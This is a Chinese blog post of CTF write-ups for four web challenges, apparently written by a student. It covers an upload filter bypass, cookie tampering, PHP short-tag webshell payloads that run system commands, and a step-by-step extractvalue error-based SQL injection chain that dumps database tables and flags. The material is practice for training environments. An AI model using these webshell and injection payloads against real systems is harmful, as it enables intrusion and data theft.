[CTF]WriteUp第19篇

[WUSTCTF2020]CV Maker

思路

注册登录后发现有上传处,估计是文件上传了

解题

直接传一句话马被过滤,提示用了exif_imagetype这个函数
那么只要伪造文件魔术头就行

这里不知道为什么,传马没用,只好一遍遍传命令进去了
ls,然后找到/Flag_aqi2282u922oiji这个文件,结束

注意

常用图片魔术头:GIF98a


[watevrCTF-2019]Cookie Store

解题

抓包改cookie,注意cookie是base64编码的
过于简单


[红明谷CTF 2021]write_shell

思路

代码审计

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

解题

关键在于绕过正则
参考文献:无字母数字webshell总结 – 先知社区 (aliyun.com)
那么我们用短标签即可,空格可用%09代替(tab)

/?action=upload&data=<?=system("ls%09/")?>
/?action=upload&data=<?=system("cat%09/f*")?>

-> 
flag{0ac85c21-a0ab-4231-953e-10ae93805034} flag{0ac85c21-a0ab-4231-953e-10ae93805034}

注意

php短标签有两种:<??><?=?>,后者用的更多,payload在等号后面


[RCTF2015]EasySQL

思路

多注册几个用户名,发现存在二次注入
POC:username:1'" 修改密码时发现报错注入点

只要构造正确的payload就行

解题

这里按照标准流程用burp进行fuzz爆破,发现没有过滤extractvalue和updatexml

利用报错注入即可
参考文献:sql注入中报错注入函数extractvalue和updatexml函数的原理及使用_extractvalue函数-CSDN博客

username:

1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

-> ~article,flag,users~


1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),0x7e))#

-> ~flag~


1"||extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e))#

-> ~RCTF{Good job! But flag not her


1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),0x7e))#

-> ~name,pwd,email,real_flag_1s_her


1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e))#

-> ~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx


1"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),0x7e))#

-> ~flag{fdec1b42-33e1-4235-a622-a3


1"||extractvalue(1,reverse(concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),0x7e)))#

-> ~}a9b357de343a-226a-5324-1e33-24


-> ~flag{fdec1b42-33e1-4235-a622-a343ed753b9a}~

注意

我对SQL报错注入还是不熟悉
regexp的使用注意一下,好像和普通正则有点不一样

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇